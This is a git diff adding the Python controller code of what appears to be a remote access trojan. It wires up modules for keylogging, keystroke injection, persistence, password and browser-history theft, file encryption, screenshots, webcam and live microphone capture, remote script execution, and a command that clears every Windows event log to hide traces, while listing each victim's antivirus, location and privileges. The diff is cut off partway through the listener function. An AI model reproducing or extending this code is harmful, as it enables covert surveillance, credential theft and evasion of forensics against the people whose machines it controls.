status_message('You are not listening for clients (stream module)', 'warning') +	else: +		raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/modules/talk.py b/domestic/modules/talk.py new file mode 100644 index 0000000..a3ca1d3 --- /dev/null +++ b/domestic/modules/talk.py @@ -0,0 +1,128 @@ +import threading +import pyaudio +import pickle +import zlib +import sys + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.modules.socket_handler import * +from domestic.utility.write_error import * +from domestic.make.make_wave import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def talk_action(): +  try: +    headersize = state['settings']['headersize'] +    encryption = state['settings']['encryption'] +    encoding = state['settings']['encoding'] +    username = state['session']['username'] +    mode = [True, 0, b''] +    frames = [] + +    p = pyaudio.PyAudio() +    CHUNK = 81920 +    FORMAT = pyaudio.paInt16 +    RATE = 44100 +    CHANNELS = 2 + +    try:     +      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) +    except: +      CHANNELS = 1 +      stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + +    record = state['options']['information-gathering']['record']['talk'] +    client, addr = state['sockets']['modules']['talk'][0].accept() +    client_obj = (client, username, addr) +    state['sockets']['modules']['talk'][1].append(client_obj) + +    message = pickle.dumps(stream.read(CHUNK)) +    message = zlib.compress(message, 9) +    message = encryption.do_encrypt(message) +    final_msg = bytes(f'{len(message):<{headersize}}', encoding) + message +    client.send(final_msg) + +    while True: +      client_msg = client.recv(81920) + +      if mode[0]: +        mode[1] = int(client_msg[:headersize]) +        mode[0] = False + +      mode[2] += client_msg + +      if len(mode[2])-headersize == mode[1]: +        data = stream.read(CHUNK) +        frames.append(data) + +        real_msg = pickle.dumps(data) +        real_msg = zlib.compress(real_msg, 9) +        real_msg = encryption.do_encrypt(real_msg) +        final_msg = bytes(f'{len(real_msg):<{headersize}}', encoding) + real_msg +        client.send(final_msg) +         +        mode = [True, 0, b''] +  except Exception as err: +    write_error(err) +    try: +      if record: +        make_wave(['modules', 'modules/talk'], client_obj[1], (CHANNELS, p, FORMAT, RATE, frames)) + +      stream.stop_stream() +      stream.close() +      p.terminate() +      state['sockets']['modules']['talk'][1].remove(client_obj) +    except Exception as err: +      write_error(err) +    finally: +      sys.exit(0) + + +@error_exception_handling +def talk(data): +  ip = validate_dict_key(data, 'ip') +  port = validate_dict_key(data, 'port') +  run = validate_dict_key(data, 'run') +  unbind = validate_dict_key(data, 'unbind') +  close = validate_dict_key(data, 'close') +  status = validate_dict_key(data, 'status') + +  if run: +    assert state['session']['active'] +     +    if ip and port: +      data['ip'], data['port'] = ip, int(port) +    else: +      data['ip'], data['port'] = state['sockets']['modules']['talk'][0].getsockname() +     +    del data['run'] + +    threading.Thread(target=talk_action, daemon=True).start() +    session_message(data) +  elif ip and port: +    if state['sockets']['modules']['talk'][0] is None: +      bind_socket(ip, port, 'talk') +    else: +      ip, port = state['sockets']['modules']['talk'][0].getsockname() +      status_message(f'You are already listening for clients (talk module) on {ip}:{port}', 'danger', {'dots': True}) +  elif unbind: +    if state['sockets']['modules']['talk'][0]:     +      unbind_socket('talk') +    else: +      status_message(f'You\'re not listening for clients (talk module)\nThere is no server socket (talk module) to close', 'warning') +  elif close: +    close_client(close, 'talk') +  elif status: +    if state['sockets']['modules']['talk'][0]: +      ip, port = state['sockets']['modules']['talk'][0].getsockname() +      status_message(f'You are listening for clients (talk module) on {ip}:{port}', 'primary') +    else: +      status_message('You are not listening for clients (talk module)', 'warning') +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/parse/alias_parser.py b/domestic/parse/alias_parser.py new file mode 100644 index 0000000..e1b010d --- /dev/null +++ b/domestic/parse/alias_parser.py @@ -0,0 +1,22 @@ +import os + +from domestic.utility.read_file import * +from domestic.global_state import * + + +def alias_parser(data): +  if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt'): +    filesize = os.path.getsize(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt') + +    if filesize != state['settings']['dynamic']['alias-size']: +      state['settings']['dynamic']['alias-data'] = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt').decode(state['settings']['encoding']).strip().split('\n') +      state['settings']['dynamic']['alias-size'] = filesize + +    for alias in state['settings']['dynamic']['alias-data']: +      key_value = alias.split('=') + +      if len(key_value) == 2: +        if data == key_value[0]: +          return key_value[1] +     +  return data
\ No newline at end of file diff --git a/domestic/parse/command_argument_parser.py b/domestic/parse/command_argument_parser.py new file mode 100644 index 0000000..9358d76 --- /dev/null +++ b/domestic/parse/command_argument_parser.py @@ -0,0 +1,21 @@ +def command_argument_parser(message): +  arguments = message.split('--') +  first = arguments[0] + +  if first.endswith(' '): +    first = first[:-1] + +  arguments_dict = {'message': first} + +  for argument in arguments[1:]: +    key_value_list = [y for y in argument.split(' ') if y != ''] + +    key = key_value_list[0] +    value = key_value_list[1:] + +    if len(key_value_list) == 1: +      arguments_dict[key] = True +    else: +      arguments_dict[key] = ' '.join(value) +   +  return arguments_dict
\ No newline at end of file diff --git a/domestic/parse/command_validation.py b/domestic/parse/command_validation.py new file mode 100644 index 0000000..4669fa8 --- /dev/null +++ b/domestic/parse/command_validation.py @@ -0,0 +1,98 @@ +from domestic.session.server_handling.persistence import * +from domestic.session.server_handling.interpreter import * +from domestic.session.server_handling.messagebox import * +from domestic.session.server_handling.keylogger import * +from domestic.session.server_handling.keystroke import * +from domestic.session.server_handling.obfuscate import * +from domestic.session.server_handling.download import * +from domestic.session.server_handling.encrypt import * +from domestic.session.server_handling.recover import * +from domestic.session.server_handling.website import * +from domestic.session.server_handling.upload import * +from domestic.session.server_handling.system import * +from domestic.session.server_handling.image import * +from domestic.session.server_handling.cd import * +from domestic.session.session_message import * +from domestic.globally.exit_program import * +from domestic.globally.clear_screen import * +from domestic.session.enter_session import * +from domestic.session.exit_session import * +from domestic.shell.list_clients import * +from domestic.globally.get_help import * +from domestic.globally.sockets import * +from domestic.globally.options import * +from domestic.modules.stream import * +from domestic.modules.audio import * +from domestic.modules.talk import * +from domestic.global_state import * +from domestic.shell.server import * +from domestic.shell.delete import * +from domestic.shell.stdout import * +from domestic.modules.cam import * + + +def command_validation(message): +  low_message = message['message'].lower() + +  if low_message == 'help': +    get_help() +  elif low_message == 'exit': +    exit_program() +  elif low_message == 'clear': +    clear_screen() +  elif low_message == 'sockets': +    sockets() +  elif low_message == 'options': +    options(message) +  elif low_message == 'stream': +    stream(message) +  elif low_message == 'cam': +    cam(message) +  elif low_message == 'audio': +    audio(message) +  elif low_message == 'talk': +    talk(message) +  elif state['session']['active']: +    if low_message == 'break': +      exit_session() +    elif low_message == 'cd': +      cd(message) +    elif low_message == 'image': +      image(message) +    elif low_message == 'upload': +      upload(message) +    elif low_message == 'download': +      download(message) +    elif low_message == 'encrypt': +      encrypt(message) +    elif low_message == 'interpreter': +      interpreter(message) +    elif low_message == 'keylogger': +      keylogger(message) +    elif low_message == 'keystroke': +      keystroke(message) +    elif low_message == 'persistence': +      persistence(message) +    elif low_message == 'system': +      system(message) +    elif low_message == 'recover': +      recover(message) +    elif low_message == 'obfuscate': +      obfuscate(message) +    elif low_message == 'website': +      website(message) +    elif low_message == 'messagebox': +      messagebox(message) +    else: +      session_message(message) +  else: +    if low_message == 'list': +      list_clients() +    elif low_message == 'server': +      server(message) +    elif low_message == 'delete': +      delete(message) +    elif low_message == 'session': +      enter_session(message) +    else: +      stdout(low_message, message)
\ No newline at end of file diff --git a/domestic/parse/error_exception_handling.py b/domestic/parse/error_exception_handling.py new file mode 100644 index 0000000..286b3c2 --- /dev/null +++ b/domestic/parse/error_exception_handling.py @@ -0,0 +1,41 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.utility.write_error import * +from domestic.globally.get_help import * +from domestic.global_state import * + + +def error_exception_handling(func): +	def func_wrapper(*args): +		try: +			number_of_arguments = len(args) + +			if number_of_arguments == 1: +				func(args[0]) +			elif number_of_arguments == 2: +				func(args[0], args[1]) +			elif number_of_arguments == 3: +				func(args[0], args[1], args[2]) +			elif number_of_arguments == 4: +				func(args[0], args[1], args[2], args[3]) +			elif number_of_arguments == 5: +				func(args[0], args[1], args[2], args[3], args[4]) +			elif number_of_arguments == 6: +				func(args[0], args[1], args[2], args[3], args[4], args[5]) +			elif number_of_arguments == 7: +				func(args[0], args[1], args[2], args[3], args[4], args[5], args[6]) +		except Exception as err: +			write_error(err) + +			if state['session']['active'] and func.__name__ in [*state['sockets']['modules']]: +				func_key = validate_dict_key(help_obj, f'{func.__name__}_2', False) +			elif func.__name__ == 'listening': +				func_key = validate_dict_key(help_obj, 'listen', False) +			else: +				func_key = validate_dict_key(help_obj, func.__name__, False) + +			if func_key: +				status_message(f'An exception was reached, please verify your input & try again\nUsage: {func_key["usage"]}', 'danger') +			else: +				status_message('Exception was reached, something went wrong\nPlease validate your input & try again', 'danger') +	return func_wrapper
\ No newline at end of file diff --git a/domestic/parse/internal_server_error_exception_handling.py b/domestic/parse/internal_server_error_exception_handling.py new file mode 100644 index 0000000..0cf3602 --- /dev/null +++ b/domestic/parse/internal_server_error_exception_handling.py @@ -0,0 +1,30 @@ +import sys + +from domestic.utility.write_error import * + + +def internal_server_error_exception_handling(func): +  def func_wrapper(*args): +    try: +      number_of_arguments = len(args) +       +      if number_of_arguments == 0: +        func() +      elif number_of_arguments == 1: +        func(args[0]) +      elif number_of_arguments == 2: +        func(args[0], args[1]) +      elif number_of_arguments == 3: +        func(args[0], args[1], args[2]) +      elif number_of_arguments == 4: +        func(args[0], args[1], args[2], args[3]) +      elif number_of_arguments == 5: +        func(args[0], args[1], args[2], args[3], args[4]) +      elif number_of_arguments == 6: +        func(args[0], args[1], args[2], args[3], args[4], args[5]) +      elif number_of_arguments == 7: +        func(args[0], args[1], args[2], args[3], args[4], args[5], args[6]) +    except Exception as err: +      write_error(err) +      sys.exit(0) +  return func_wrapper
\ No newline at end of file diff --git a/domestic/session/enter_session.py b/domestic/session/enter_session.py new file mode 100644 index 0000000..dae4bac --- /dev/null +++ b/domestic/session/enter_session.py @@ -0,0 +1,15 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.global_state import * + + +@error_exception_handling +def enter_session(message): +  index = validate_dict_key(message, 'index') + +  if index: +    state['session'] = {'active': True, 'socket': state['sockets']['clients'][0][int(index)], 'username': state['sockets']['clients'][2][int(index)]['username'], 'data': None} +    status_message('Session succesfully established', 'success') +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/exit_session.py b/domestic/session/exit_session.py new file mode 100644 index 0000000..6a91752 --- /dev/null +++ b/domestic/session/exit_session.py @@ -0,0 +1,9 @@ +from domestic.utility.status_message import * +from domestic.global_state import * + + +def exit_session(write_stdout=True, data=None): +  state['session'] = {'active': False, 'socket': None, 'username': None, 'data': data} +   +  if write_stdout: +    status_message('Session successfully exited', 'success')
\ No newline at end of file diff --git a/domestic/session/server_handling/cd.py b/domestic/session/server_handling/cd.py new file mode 100644 index 0000000..fe58ea7 --- /dev/null +++ b/domestic/session/server_handling/cd.py @@ -0,0 +1,8 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def cd(message): +  assert message['to'] +  session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/download.py b/domestic/session/server_handling/download.py new file mode 100644 index 0000000..a51e394 --- /dev/null +++ b/domestic/session/server_handling/download.py @@ -0,0 +1,35 @@ +import os + +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_directories import * +from domestic.global_state import * + + +@error_exception_handling +def download(message): +  assert message['file'] + +  filename = validate_dict_key(message, 'file') +  execute = validate_dict_key(message, 'execute') + +  username = state['session']['username'] +  make_directories([username, f'{username}/downloads']) +  root = f'{state["root"]}/{username}/downloads/{filename}' + +  message['max_file_size'] = state['settings']['max-file-size'] +  if execute: +    del message['execute'] + +  data = session_message(message, False, loading_text='downloading file...') +  download = validate_dict_key(data, 'download', False) +   +  if download: +    with open(root, 'wb') as f: +      f.write(download) +     +    if execute: +      os.startfile(root) + +  status_message(data['message'], data['text_mode'])
\ No newline at end of file diff --git a/domestic/session/server_handling/encrypt.py b/domestic/session/server_handling/encrypt.py new file mode 100644 index 0000000..b5407ba --- /dev/null +++ b/domestic/session/server_handling/encrypt.py @@ -0,0 +1,13 @@ +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +def encrypt(message): +  assert message['file'] + +  decrypt = validate_dict_key(message, 'decrypt') + +  if decrypt is None: +    message['decrypt'] = False + +  session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/image.py b/domestic/session/server_handling/image.py new file mode 100644 index 0000000..15719e0 --- /dev/null +++ b/domestic/session/server_handling/image.py @@ -0,0 +1,31 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def image(message): +  monitor = validate_dict_key(message, 'monitor') +  screenshot = validate_dict_key(message, 'screenshot') +  cam = validate_dict_key(message, 'cam') +   +  assert screenshot or cam + +  if monitor is None: +    message['monitor'] = 0 +  else: +    message['monitor'] = int(monitor) + +  if screenshot: +    message['image_type'] = True +    del message['screenshot'] +    image_type = 'screenshot' +  else: +    message['image_type'] = False +    del message['cam'] +    image_type = 'cam-screenshot' + +  data = session_message(message, False) + +  if data['screenshot']: +    make_image(['image', f'image/{image_type}'], data['screenshot'], success_message=data['message'], image_type=message['image_type'])
\ No newline at end of file diff --git a/domestic/session/server_handling/interpreter.py b/domestic/session/server_handling/interpreter.py new file mode 100644 index 0000000..0c403e4 --- /dev/null +++ b/domestic/session/server_handling/interpreter.py @@ -0,0 +1,35 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def interpreter(message): +  execute = validate_dict_key(message, 'execute') +  script = validate_dict_key(message, 'script') +  quiet = validate_dict_key(message, 'quiet') + +  assert execute or script + +  if script: +    parent_folder = state['settings']['folders']['parent'] +    child_folder = state['settings']['folders']['child'][1] +    message['execute'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']) +    del message['script'] + +  if quiet: +    del message['quiet'] + +  data = session_message(message, False) +  result = validate_dict_key(data, 'result') + +  if result: +    if quiet is None: +      status_message(data['result'], 'pure', {'end': True}) +      print() +    make_file(['interpreter'], 'txt', bytes(data['result'], state['settings']['encoding']), data['message']) +  else: +    status_message(data['message'], data['text_mode'])
\ No newline at end of file diff --git a/domestic/session/server_handling/keylogger.py b/domestic/session/server_handling/keylogger.py new file mode 100644 index 0000000..366aaac --- /dev/null +++ b/domestic/session/server_handling/keylogger.py @@ -0,0 +1,43 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_file import * + + +@error_exception_handling +def keylogger(message): +  run = validate_dict_key(message, 'run') +  download = validate_dict_key(message, 'download') +  close = validate_dict_key(message, 'close') +  status = validate_dict_key(message, 'status') +  quiet = validate_dict_key(message, 'quiet') + +  if run: +    message['action_type'] = 'run' +    del message['run'] +    session_message(message) +  elif download: +    message['action_type'] = 'download' +    del message['download'] +    data = session_message(message, False) + +    logs = validate_dict_key(data, 'logs') + +    if logs: +      if quiet is None: +        status_message(logs.decode(state['settings']['encoding']), 'raw') +        print() +      make_file(['keylogger'], 'txt', logs, data['message']) +    else: +      status_message(data['message'], data['text_mode']) +  elif close: +    message['action_type'] = 'close' +    del message['close'] +    session_message(message) +  elif status: +    message['action_type'] = 'status' +    del message['status'] +    session_message(message) +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/server_handling/keystroke.py b/domestic/session/server_handling/keystroke.py new file mode 100644 index 0000000..9f09540 --- /dev/null +++ b/domestic/session/server_handling/keystroke.py @@ -0,0 +1,23 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def keystroke(message): +  inject = validate_dict_key(message, 'inject', False) +  script = validate_dict_key(message, 'script', False) +   +  if inject: +    message['inject'] = inject.strip().split(';') +  elif script: +    parent_folder = state['settings']['folders']['parent'] +    child_folder = '{}/{}'.format(state['settings']['folders']['child'][1], state['settings']['folders']['child'][3]) +    message['inject'] = read_file(f'{state["root"]}/{parent_folder}/{child_folder}/{script}').decode(state['settings']['encoding']).strip().split('\r\n') +    del message['script'] +  else: +    raise Exception('Error message') + +  session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/messagebox.py b/domestic/session/server_handling/messagebox.py new file mode 100644 index 0000000..28b4ff5 --- /dev/null +++ b/domestic/session/server_handling/messagebox.py @@ -0,0 +1,25 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def messagebox(message): +  title = validate_dict_key(message, 'title', False) +  text = validate_dict_key(message, 'text', False) +  style = validate_dict_key(message, 'style') + +  if title and text: +    if style == 'info': +      message['style'] = 64 +    elif style == 'cross': +      message['style'] =  16 +    elif style == 'question': +      message['style'] =  32 +    elif style == 'warning': +      message['style'] =  48 +    else: +      message['style'] = 64 +    session_message(message) +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/server_handling/obfuscate.py b/domestic/session/server_handling/obfuscate.py new file mode 100644 index 0000000..c3f5422 --- /dev/null +++ b/domestic/session/server_handling/obfuscate.py @@ -0,0 +1,15 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * + + +@error_exception_handling +def obfuscate(message): +  logs = validate_dict_key(message, 'logs') + +  if logs: +    message['message'] = 'for /f %x in (\'wevtutil el\') do wevtutil cl "%x"' +    del message['logs'] +    session_message(message) +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/server_handling/persistence.py b/domestic/session/server_handling/persistence.py new file mode 100644 index 0000000..f6ae6b5 --- /dev/null +++ b/domestic/session/server_handling/persistence.py @@ -0,0 +1,23 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def persistence(message): +  elevate = validate_dict_key(message, 'elevate') +  service = validate_dict_key(message, 'service') +  schedule = validate_dict_key(message, 'schedule') +     +  if elevate: +    message['action_type'] = 'elevate' +    del message['elevate'] +  elif service: +    message['action_type'] = 'service' +    del message['service'] +  elif schedule: +    message['action_type'] = 'schedule' +    del message['schedule'] +  else: +    raise Exception('Error message') + +  session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/recover.py b/domestic/session/server_handling/recover.py new file mode 100644 index 0000000..0c29c4c --- /dev/null +++ b/domestic/session/server_handling/recover.py @@ -0,0 +1,66 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.utility.status_message import * +from domestic.make.make_history import * +from domestic.global_state import * + + +@error_exception_handling +def recover(message): +  password = validate_dict_key(message, 'password') +  history = validate_dict_key(message, 'history') +  quiet = validate_dict_key(message, 'quiet') +  force = validate_dict_key(message, 'force') + +  if force is None: +    message['force'] = False + +  if password: +    del message['password'] +    message['action_type'] = 'password' + +    if quiet: +      del message['quiet'] + +    data = session_message(message, False) + +    if quiet is None: +      text = [x for x in data['message'].split('\n') if x != ''] +      count = 0 + +      for line in text: +        if line[:3] == '[+]': +          print() +          status_message(line[4:], 'success', {'end': True, 'point': 'empty'}) +        elif line[:3] == '[-]': +          print() +          status_message(line[4:], 'danger', {'end': True, 'point': 'empty'}) +        elif line[:19] == '-------------------': +          if count != 0: print() +          count += 1 +          status_message(line, 'raw') +        else: +          status_message(line, 'raw') +      print() +       +    make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered') +  elif history: +    del message['history'] +    message['action_type'] = 'history' + +    if quiet: +      del message['quiet'] + +    data = session_message(message, False) + +    if quiet is None: +      for browser, browser_data in data['message'].items(): +        browser = browser.capitalize() +        for link, title, date in browser_data: +          status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True}) +      print() + +    make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered') +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/session/server_handling/system.py b/domestic/session/server_handling/system.py new file mode 100644 index 0000000..f505dbf --- /dev/null +++ b/domestic/session/server_handling/system.py @@ -0,0 +1,29 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.session.session_message import * +from domestic.global_state import * + + +@error_exception_handling +def system(message): +  shutdown = validate_dict_key(message, 'shutdown') +  restart = validate_dict_key(message, 'restart') +  logout = validate_dict_key(message, 'logout') +  standby = validate_dict_key(message, 'standby') + +  if shutdown: +    message['action_type'] = 'shutdown' +    del message['shutdown'] +  elif restart: +    message['action_type'] = 'restart' +    del message['restart'] +  elif logout: +    message['action_type'] = 'logout' +    del message['logout'] +  elif standby: +    message['action_type'] = 'standby' +    del message['standby'] +  else: +    raise Exception('Error message') +   +  session_message(message)
\ No newline at end of file diff --git a/domestic/session/server_handling/upload.py b/domestic/session/server_handling/upload.py new file mode 100644 index 0000000..fe88f05 --- /dev/null +++ b/domestic/session/server_handling/upload.py @@ -0,0 +1,36 @@ +import os + +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def upload(message): +  filename = validate_dict_key(message, 'file', False) +  url = validate_dict_key(message, 'url', False) +  execute_on_upload = validate_dict_key(message, 'execute') + +  message['max_file_size'] = state['settings']['max-file-size'] + +  if execute_on_upload is None: +    message['execute'] = False +  else: +    message['execute'] = True + +  if filename: +    root = f'{state["root"]}/{state["settings"]["folders"]["parent"]}/{state["settings"]["folders"]["child"][0]}/{filename}' + +    if (os.path.getsize(root) / 1024 / 1024) > message['max_file_size']: +      status_message(f'File exceeding maximum size of {message["max_file_size"]}MB', 'danger') +      return + +    message['from_url'], message['file_data'] = False, read_file(root) +  elif url: +    message['file'], message['from_url'], message['file_data'] = url, True, None +    del message['url'] +  else: +    raise Exception('Error message') + +  session_message(message, loading_text='uploading file...')
\ No newline at end of file diff --git a/domestic/session/server_handling/website.py b/domestic/session/server_handling/website.py new file mode 100644 index 0000000..bac7138 --- /dev/null +++ b/domestic/session/server_handling/website.py @@ -0,0 +1,8 @@ +from domestic.parse.error_exception_handling import * +from domestic.session.session_message import * + + +@error_exception_handling +def website(message): +  message['open'] = message['open'].split(',') +  session_message(message)
\ No newline at end of file diff --git a/domestic/session/session_message.py b/domestic/session/session_message.py new file mode 100644 index 0000000..485bfbb --- /dev/null +++ b/domestic/session/session_message.py @@ -0,0 +1,35 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from binary.data_handling.send_data import * +from binary.data_handling.recv_data import * +from domestic.utility.delete_client import * +from domestic.utility.text_to_image import * +from domestic.session.session_wait import * +from domestic.utility.write_error import * +from domestic.make.make_image import * +from domestic.make.make_file import * +from domestic.global_state import * + + +def session_message(message, piped_data=True, loading_text='loading...'): +  data = session_wait((state['session']['socket'], message, True), loading_text) + +  text_mode = validate_dict_key(data, 'text_mode') +  text_extras = validate_dict_key(data, 'text_extras') + +  if state['options']['information-gathering']['backup']['text']: +    make_file(['backup', 'backup/text'], 'txt', bytes(data['message'], state['settings']['encoding'])) + +  if state['options']['information-gathering']['backup']['image']: +    make_image(['backup', 'backup/image'], text_to_image(data['message']), False) +   +  if piped_data: +    if text_mode is None: +      status_message(data['message'], 'pure') +    else: +      if text_extras: +        status_message(data['message'], text_mode, text_extras) +      else: +        status_message(data['message'], text_mode) +  else: +    return data
\ No newline at end of file diff --git a/domestic/session/session_queue.py b/domestic/session/session_queue.py new file mode 100644 index 0000000..e4e0f81 --- /dev/null +++ b/domestic/session/session_queue.py @@ -0,0 +1,43 @@ +import time + +from domestic.parse.internal_server_error_exception_handling import * +from domestic.utility.status_message import * +from binary.data_handling.send_data import * +from binary.data_handling.recv_data import * +from domestic.utility.delete_client import * +from domestic.session.exit_session import * +from domestic.utility.write_error import * +from domestic.global_state import * + + +@internal_server_error_exception_handling +def session_queue(): +	while True: +		for index in range(len(state['sockets']['clients'][0])): +			if time.time() - state['sockets']['clients'][2][index]['timer'] >= state['settings']['keep-alive-count']: +				state['settings']['dynamic']['queue'].append((state['sockets']['clients'][0][index], {'message': 'bbCF2NNYjjTfHELUV9Y2qmkV'}, False)) +				state['sockets']['clients'][2][index]['timer'] = time.time() + +		if state['settings']['dynamic']['queue']: +			for item in state['settings']['dynamic']['queue']: +				try: +					send_data(item[0], item[1], (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']}) +					data = recv_data(item[0], (state['settings']['encryption'], state['settings']['headersize'])) + +					if item[2]: +						state['session']['data'] = data +				except Exception as err: +					write_error(err) + +					if item[2]: +						exit_session(False, {'message': 'Timeout reached waiting for client response\nClient had to be disconnected', 'text_mode': 'danger'}) +					elif state['session']['socket'] is item[0]: +						exit_session(False) +						print() +						status_message('Timeout reached waiting for client response\nClient had to be disconnected', 'danger') + +					delete_client(index, False) +				finally: +					state['settings']['dynamic']['queue'].remove(item) +		else: +			time.sleep(0.1)
\ No newline at end of file diff --git a/domestic/session/session_wait.py b/domestic/session/session_wait.py new file mode 100644 index 0000000..244b9e2 --- /dev/null +++ b/domestic/session/session_wait.py @@ -0,0 +1,22 @@ +import time + +from domestic.utility.loading import * +from domestic.global_state import * + + +def session_wait(queue_obj, loading_text): +  try: +    if state['settings']['loading']: +      start_loading(loading_text) + +    state['settings']['dynamic']['queue'].append(queue_obj) + +    while state['session']['data'] is None: +      time.sleep(0.1) +    else: +      if state['settings']['loading']: +        stop_loading() +         +      return state['session']['data'] +  finally: +    state['session']['data'] = None
\ No newline at end of file diff --git a/domestic/shell/delete.py b/domestic/shell/delete.py new file mode 100644 index 0000000..16a3e98 --- /dev/null +++ b/domestic/shell/delete.py @@ -0,0 +1,13 @@ +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.utility.delete_client import * + + +@error_exception_handling +def delete(message): +  index = validate_dict_key(message, 'index') + +  if index: +    delete_client(int(index)) +  else: +    raise Exception('Error message')
\ No newline at end of file diff --git a/domestic/shell/list_clients.py b/domestic/shell/list_clients.py new file mode 100644 index 0000000..1d30901 --- /dev/null +++ b/domestic/shell/list_clients.py @@ -0,0 +1,24 @@ +import tabulate + +from domestic.utility.status_message import * +from domestic.global_state import * + + +def list_clients(): +  number_of_clients_connected = len(state['sockets']['clients'][0]) +  clients_list = state['sockets']['clients'][1] +  all_clients = [] + +  if number_of_clients_connected == 0 and state['sockets']['server'] is None: +    status_message(f'Use \'listen\' command to enable clients to connect\nConnected clients can be listed & interacted with', 'primary', {'end': True}) +  elif number_of_clients_connected == 0: +    status_message('You are listening for clients\nBut none are currently connected', 'primary', {'end': True}) +  else: +    for index, addr in enumerate(clients_list): +      user_data = state['sockets']['clients'][2][index] +      all_clients.append([index, user_data['monitors'], user_data['cams'], user_data['io-channels'], f"{user_data['username']}", user_data['address'], user_data['os'], user_data['antivirus'], user_data['location'], user_data['privileges']]) +     +    status_message(tabulate.tabulate(all_clients, headers=['Index', 'Monitors', 'Cams', 'I/O Channels', 'Username@Hostname', 'Address', 'Operating System', 'Antivirus', 'Location', 'Privileges']), 'pure', {'end': True}) +   +  print() +  status_message(None, 'program')
\ No newline at end of file diff --git a/domestic/shell/server.py b/domestic/shell/server.py new file mode 100644 index 0000000..2fd0d49 --- /dev/null +++ b/domestic/shell/server.py @@ -0,0 +1,134 @@ +import threading +import socket +import time +import sys +import os + +from domestic.parse.error_exception_handling import * +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.utility.delete_client import * +from binary.data_handling.send_data import * +from binary.data_handling.recv_data import * +from domestic.utility.get_timestamp import * +from domestic.make.make_directories import * +from domestic.utility.write_error import * +from domestic.utility.send_email import * +from domestic.utility.read_file import * +from domestic.global_state import * + + +@error_exception_handling +def listening(host, port, stdout=True): +  try: +    state['sockets']['server'] = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +    state['sockets']['server'].bind((host, int(port))) +    state['sockets']['server'].listen() +  except Exception as err: +    write_error(err) +    state['sockets']['server'] = None +     +    if stdout: +      raise Exception('Socket binding error') +    else: +      sys.exit(0) +  else: +    if stdout: +      status_message(f'Listening on port {port}', 'success', {'dots': True, 'point': 'dot'}) + +  while True: +    try: +      client, addr = state['sockets']['server'].accept() +    except Exception as err: +      write_error(err) +      break +     +    try: +      send_data(client, {'message': 'CsBLDS4n5zPYq7JaxDjxWHK4', 'silent': state['options']['mode']['silent'], 'io_channels': state['settings']['io-channels']}, (state['settings']['encryption'], state['settings']['encoding'], state['settings']['headersize']), {'safe': state['options']['mode']['safe'], 'safe_timeout': state['settings']['safe-timeout']}) +      data = recv_data(client, (state['settings']['encryption'], state['settings']['headersize'])) +      data.update({'timer': time.time()}) + +      add_client = True + +      if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt'): +        blacklist = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/blacklist.txt').decode(state['settings']['encoding']).strip().split('\n') +      